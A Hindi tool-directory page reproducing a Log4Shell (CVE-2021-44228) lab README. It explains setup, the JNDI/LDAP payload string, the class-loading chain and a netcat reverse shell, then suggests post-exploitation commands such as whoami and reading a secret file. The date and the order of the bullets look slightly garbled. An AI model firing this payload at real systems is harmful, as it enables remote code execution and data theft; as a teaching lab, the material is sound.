Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4j-vulnerability — CVE-2021-44228 भेद्यता का शोषण करने का तरीका प्रस्तुत करता है। | Kitploit
उपकरण/GitHubGitHub/marceloleite2604/log4j-vulnerability
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंटलैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
marceloleite2604/log4j-vulnerability

log4j-vulnerability

CVE-2021-44228 भेद्यता का शोषण करने का तरीका प्रस्तुत करता है।

रिपॉजिटरी देखें
14 साल पहलेअभी तक समीक्षित नहीं

LOG4J भेद्यता

CVE-2021-44228 भेद्यता का शोषण कैसे करें, यह प्रस्तुत करने वाला एक Java-आधारित प्रोजेक्ट।

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

आवश्यकताएँ

  • एक Linux-आधारित ऑपरेटिंग सिस्टम: मैंने Ubuntu Desktop 20.10 64 bits का उपयोग किया
  • OpenJDK 17.0.1: शोषण प्रोग्राम बनाने के लिए। नए संस्करण भी काम कर सकते हैं।
  • Oracle Java Development Kit (JDK) 1.8.0_181: शोषण के काम करने के लिए यह आवश्यक है। इसे स्थापित करना आवश्यक नहीं है, लेकिन प्रोजेक्ट को इसे रूट डायरेक्टरी में निकालने की आवश्यकता है। JDK Oracle Java SE 8 Archive Downloads (JDK 8u202 और पहले) पृष्ठ पर पाया जा सकता है।
  • Apache Maven 3.6.3: निर्भरताओं (dependencies) का प्रबंधन करने और jar फ़ाइलें बनाने के लिए। बाद के संस्करण भी काम कर सकते हैं।
  • Docker 20.10.12: उस कंटेनर का प्रबंधन करने के लिए जिसमें शोषित होने वाली सेवा है। बाद के संस्करण भी काम कर सकते हैं।
  • Docker-compose 1.29.2: इमेज निर्माण के साथ-साथ कंटेनर निर्माण, निष्पादन और हटाने को समन्वित करने में सहायता के लिए। बाद के संस्करण भी काम कर सकते हैं।
  • GNU Make 4.3: यह प्रोजेक्ट अनिवार्य फ़ाइलों को सत्यापित और बनाने में सहायता के लिए Makefile का उपयोग करता है। बाद के संस्करण भी काम कर सकते हैं।
  • OpenBSD Netcat (उर्फ nc): आक्रमित सर्वर के साथ संचार बनाने के लिए। इस पैकेज को आप अपने Linux वितरण पैकेज प्रबंधक (जैसे apt) के माध्यम से स्थापित कर सकते हैं।
  • (अनुशंसित) IntelliJ IDEA Community Edition 2021.3.1: यदि आप इन प्रोजेक्ट्स के अंदर क्या है, देखना चाहते हैं तो मैं इस IDE को स्थापित करने की सलाह देता हूँ। एक बार फिर, बाद के संस्करण भी काम कर सकते हैं।

निष्पादन

  1. इस रिपॉजिटरी को अपनी स्थानीय मशीन पर क्लोन करें।
  2. Oracle Java SE 8 Archive Downloads (JDK 8u202 और पहले) पृष्ठ से JDK डाउनलोड करें और इसे प्रोजेक्ट रूट डायरेक्टरी में निकालें। इसे निकालने के दौरान बनाई गई jdk1.8.0_181 डायरेक्टरी में रखें।
  3. सभी प्रोजेक्ट बनाने और भेद्य सेवा के साथ एक Docker इमेज बनाने के लिए make all चलाएँ।
  4. तीन टर्मिनल खोलें और निम्नलिखित कमांड चलाएँ:
    1. पहला टर्मिनल: शोषित होने वाली सेवा चलाने वाला Docker कंटेनर शुरू करने के लिए make start-vulnerable-service। सेवा स्थानीय मशीन पोर्ट 8080 पर सुलभ होगी।
    2. दूसरा टर्मिनल: एक TCP सुनने वाला (listener) शुरू करने के लिए make start-nc जो आक्रमित सर्वर के साथ कनेक्शन स्थापित होने की प्रतीक्षा करेगा।
    3. तीसरा टर्मिनल: भेद्यता का शोषण करने में हमारी सहायता करने वाला प्रोग्राम शुरू करने के लिए make start-exploiter।
  5. तीसरा टर्मिनल शुरू करने के बाद, शोषक प्रोग्राम एक URL प्रस्तुत करेगा। शोषण शुरू करने के लिए इसे अपने ब्राउज़र में पेस्ट करें।
  6. यदि सब कुछ उम्मीद के अनुसार हुआ, तो ब्राउज़र को कोई प्रतिक्रिया नहीं मिलेगी और ब्राउज़र लोडिंग स्थिति में अटक जाएगा।
  7. अब दूसरा टर्मिनल (जहाँ make start-nc चलाया गया था) जाँचें। आपको Connection received on 172.24.0.2 46638 जैसा संदेश मिल सकता है (IP पता और TCP पोर्ट यहाँ प्रस्तुत से भिन्न हो सकते हैं)। इसका मतलब है कि शोषण काम कर गया और अब हमारे पास सर्वर/Docker कंटेनर पर एक शेल कनेक्टेड है।

यह कैसे काम करता है?

इसका उत्तर देने से पहले, आइए पूरे प्रवाह में बनाई गई प्रक्रियाओं पर एक नज़र डालें।

log4-vulnerability processeses

Docker कंटेनर

यह Docker कंटेनर एक सरल HTTP सेवा प्रदान करेगा जो /log पथ पर input पैरामीटर के साथ GET अनुरोध प्राप्त करने के लिए जिम्मेदार है। एक बार प्राप्त होने पर, यह इनपुट को कंसोल पर लॉग करता है।

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

भेद्यता का शोषण करने के लिए, कुछ विशिष्ट कॉन्फ़िगरेशन आवश्यक हैं:

  • सेवा चलाने के लिए उपयोग किया जाने वाला Java रनटाइम एनवायरनमेंट (JRE) संस्करण 1.8.0_181 है। किसी बाहरी सेवा से Java क्लास लोड करने की अनुमति देने के लिए यह आवश्यक है।
  • Java प्रोजेक्ट निर्भरताओं को भारी रूप से संशोधित करना होगा ताकि डिफ़ॉल्ट spring-boot-starter-logging:2.6.1 को spring-boot-starter-log4j2:2.6.1 से बदला जा सके। बाद वाला प्रोजेक्ट में log4j-core:2.14.1 लाता है, जो CVE-2021-44228 के लिए भेद्य संस्करण है।

dependency-tree

  • सेवा Jar फ़ाइल Java कंपाइलर संस्करण 1.8.0_181 के साथ बनाई गई थी।

Netcat (nc) प्रोग्राम

यहाँ कोई बड़ी व्याख्या या समायोजन नहीं हैं। यह एक सरल प्रोग्राम है जो TCP और UDP प्रोटोकॉल के माध्यम से डेटा पढ़ने और लिखने के लिए उपयोग किया जाता है। हम इसका उपयोग पोर्ट 9001 पर आने वाले TCP कनेक्शनों को सुनने के लिए करेंगे (कुछ और हमारे लिए सर्वर पक्ष पर यह कनेक्शन खोलेगा। 😉)।

एक बार कनेक्शन स्थापित होने के बाद, सभी आने वाला डेटा कंसोल पर आउटपुट होगा। साथ ही, लिखा गया सभी इनपुट इस कनेक्शन के माध्यम से भेजा जाएगा।

शोषक (Exploiter)

अब यहीं से मज़ा शुरू होता है!

यह प्रोग्राम भेद्यता का शोषण करने के लिए आवश्यक कई चरणों को समाहित करता है। आइए इसे विभाजित करें:

निष्पादन तर्क

इस प्रोग्राम को चलाने के लिए, हमें तीन पैरामीटर सूचित करने होंगे:

  1. HTTP सर्वर और Netcat IP पता/होस्ट: भेद्यता का शोषण करने के लिए, हमें भेद्य सेवा के सापेक्ष HTTP सर्वर IP पते की आवश्यकता होगी ताकि हमारा LDAP प्रतिक्रिया इसे संकलित Java क्लास डाउनलोड करने के लिए पुनर्निर्देशित कर सके। इसका उपयोग Java क्लास द्वारा स्वयं Netcat के साथ TCP कनेक्शन खोलने के लिए भी किया जाएगा (ऊपर समझाया गया है)।
  2. HTTP सर्वर पोर्ट: वह पोर्ट जहाँ संकलित Java क्लास भेजने के लिए जिम्मेदार HTTP सर्वर कनेक्शन स्वीकार करेगा। इसे संकलित Java क्लास डाउनलोड किए जाने वाले पोर्ट को सूचित करने के लिए LDAP प्रतिक्रिया के साथ भी भेजा जाएगा।
  3. Netcat पोर्ट: वह पोर्ट जहाँ Netcat कनेक्शन सुन रहा है। इसका उपयोग संकलित Java क्लास द्वारा Netcat के साथ TCP कनेक्शन खोलने के लिए किया जाएगा।

शोषण Java क्लास

एक बार प्रोग्राम शुरू होने के बाद, यह एक टेम्पलेट पर आधारित एक Java कोड लिखेगा। इस टेम्पलेट को दो तर्कों की आवश्यकता है: Netcat IP पता और पोर्ट।

कोड लिखे जाने के बाद, प्रोग्राम इसे Java कंपाइलर (javac) संस्करण 1.8.0_181 का उपयोग करके एक बाइनरी क्लास फ़ाइल में संकलित करेगा। शोषित सेवा के समान कोड संस्करण बनाए रखने के लिए यह महत्वपूर्ण है।

शोषण Java क्लास की संरचना काफी सरल है। इसके कंस्ट्रक्टर पर एक निर्देश है जो ऑपरेटिंग सिस्टम से एक शेल प्रोग्राम बनाने का अनुरोध करता है। एक बार यह बन जाने के बाद, क्लास Netcat के साथ एक TCP कनेक्शन खोलता है, शेल और TCP कनेक्शन के इनपुट और आउटपुट को बाँधता है और Java वर्चुअल मशीन निष्पादन को एक लूप में फँसाता है जब तक कि Netcat द्वारा कनेक्शन बंद नहीं किया जाता। एक बार यह लूप से बाहर निकलने पर कंस्ट्रक्टर ऐसे जारी रहता है जैसे कुछ हुआ ही न हो।

Marshalsec प्रोग्राम

शोषक एक उप-प्रक्रिया खोलता है जो Marshalsec Java प्रोग्राम को निष्पादित करने का अनुरोध करता है। Marshalsec प्रोग्राम mbechler/marshalsec Github प्रोजेक्ट पर उपलब्ध है।

अन्य कार्यक्षमताओं के साथ, यह LDAP अनुरोधों का प्रबंधन करता है और इसका उपयोग आने वाले कनेक्शनों को किसी बाहरी स्रोत से Java क्लास डाउनलोड करके अनुरोधों को हल करने के लिए कहने के लिए किया जा सकता है। हमारे मामले में, हम इसका उपयोग आने वाले कनेक्शनों को HTTP सेवा से अपनी Exploit Java क्लास डाउनलोड करने का अनुरोध करने के लिए करेंगे।

HTTP सेवा

एक बार शोषक प्रोग्राम ने धोखाधड़ी वाली Java क्लास बना ली है, तो यह एक एकल प्रतिक्रिया के साथ एक HTTP सेवा शुरू करेगा: शोषण बाइनरी Java क्लास।

संक्षेप में, जब भेद्य सेवा बाहरी क्लास लोड करने का अनुरोध करती है, तो यह सेवा Java क्लास बाइनरी फ़ाइल पढ़ेगी और इसे वापस भेद्य सेवा को भेजेगी। इतना ही सरल!

सब पर शासन करने वाला एक HTTP अनुरोध

एक बार सब कुछ चालू हो जाने के बाद, प्रोग्राम शोषण को ट्रिगर करने के लिए आवश्यक HTTP अनुरोध आउटपुट करेगा। बस इसे कॉपी करें और अपने पसंदीदा ब्राउज़र में पेस्ट करें या टर्मिनल के माध्यम से curl करें, जो भी आपके लिए सबसे अच्छा काम करता है!

अनुरोध कुछ इस प्रकार होगा:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

चूँकि क्वेरी पैरामीटर में विशेष वर्ण होते हैं, ब्राउज़र उन्हें स्वीकार कर सके इसके लिए उन्हें एनकोड करने की आवश्यकता होती है। यदि हम इसे डीकोड करें तो संदेश होगा:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

संचार प्रवाह

यहाँ एक सरलीकृत आरेख है कि अनुरोध भेजे जाने के बाद क्या होता है:

log4j-vulnerability communication flow

मैं इसका उपयोग यह समझाने का प्रयास करूँगा कि आगे क्या होता है:

  • ब्राउज़र हमारी भेद्य सेवा को HTTP अनुरोध भेजेगा।
  • भेद्य सेवा अनुरोध स्वीकार करेगी और उपयोगकर्ता इनपुट को लॉग करेगी।
  • एक बार log4j को संदेश प्राप्त होने पर, यह नोटिस करता है कि हल करने के लिए एक सामग्री है: ${jndi:ldap://host.docker.internal:1389/a}।
  • मान के अनुसार, प्रस्तुत की जाने वाली सामग्री को LDAP प्रोटोकॉल के माध्यम से host.docker.internal:1389 से a कुंजी का उपयोग करके प्राप्त किया जाना चाहिए (एक नीरस और अमान्य LDAP विशिष्ट नाम लेकिन, अरे, जब तक यह काम करता है...)। log4j तब मान प्राप्त करने के इरादे से इस पते पर एक अनुरोध भेजता है।

अवलोकन: host.docker.internal Docker सेवा के लिए भौतिक मशीन तक पहुँचने के लिए एक मान्य पता है जिस पर वह चल रही है।

  • Marshalsec प्रोग्राम (स्थानीय रूप से पोर्ट 1389 पर चल रहा है) आने वाले अनुरोध को स्वीकार करेगा और भेद्य सेवा से host.docker.internal:8000 पर उपलब्ध Exploit नाम की एक Java क्लास फ़ाइल डाउनलोड करने के लिए कहेगा ताकि अनुरोध हल हो सके।
  • log4j तब host.docker.internal:8000 पर /Exploit पथ पर उपलब्ध संसाधन प्राप्त करने का अनुरोध भेजता है।
  • HTTP सेवा (स्थानीय रूप से पोर्ट 8000 पर चल रही है) तब Exploit बाइनरी Java क्लास भेजकर अनुरोध का जवाब देगी।
  • log4j तब इसके Exploit() कंस्ट्रक्टर विधि को निष्पादित करके चर को हल करने के लिए क्लास को इंस्टेंटिएट करने का प्रयास करता है।
  • Exploit() कंस्ट्रक्टर विधि सर्वर पर एक शेल प्रोग्राम शुरू करती है, और host.docker.internal:9001 के साथ एक TCP चैनल खोलने का अनुरोध करती है।
  • Netcat (स्थानीय रूप से पोर्ट 9001 पर चल रहा है) आने वाले TCP कनेक्शन को स्वीकार करता है।
  • Exploit() कंस्ट्रक्टर विधि तब शेल इनपुट और आउटपुट को TCP कनेक्शन से बाँधती है और Java वर्चुअल मशीन थ्रेड को एक लूप में फँसाती है जब तक कि TCP कनेक्शन दूसरे पक्ष द्वारा बंद नहीं किया जाता।
  • Netcat का उपयोग अब शेल कमांड भेजने और सर्वर से आउटपुट प्राप्त करने के लिए किया जा सकता है।

विचारणीय बातें

बाद में जोड़ा जाएगा

संदर्भ

kozmer/log4j-shell-poc Github प्रोजेक्ट - इसने मुझे यह समझने में मदद की कि शोषण कैसे काम करता है। इस प्रोजेक्ट में योगदान देने वाले सभी लोगों को धन्यवाद!

mbechler/marshalsec Github प्रोजेक्ट - इस प्रोजेक्ट के बिना मैं LDAP संचार और पुनर्निर्देशन के साथ उतनी जल्दी काम नहीं कर पाता जितना मैंने किया। आप लोगों को धन्यवाद!

SrcCodes Log4j Vulnerability वीडियो - एक अच्छी तरह से समझाया गया वीडियो जो Spring-आधारित प्रोग्राम पर शोषण शुरू करने का तरीका प्रस्तुत करता है।

Nowcomm CVE-2021-44228 exploit demo वीडियो - Apache Solr पर CVE-2021-44228 का शोषण कैसे करें, यह समझाने वाला एक अच्छा वीडियो। मुझे यह समझने के लिए दूसरे भाग को लगभग एक दर्जन बार देखना पड़ा कि वास्तव में क्या हो रहा था! 😛

टूल डाउनलोड करें
  • यह सुनिश्चित करने के लिए कि सब कुछ उम्मीद के अनुसार हुआ, whoami कमांड चलाने का प्रयास करें। आपको root आउटपुट मिल सकता है।
  • अब देखने के लिए cat ../private-directory/my-secret-file.txt चलाने का प्रयास करें। 🙂
  • एक बार जब आप सर्वर के साथ खिलवाड़ करना समाप्त कर लें, तो कनेक्शन बंद करने के लिए CTRL+C दबाएँ।
  • आप प्रक्रियाओं को बाधित करने के लिए अन्य टर्मिनलों पर भी CTRL+C दबा सकते हैं।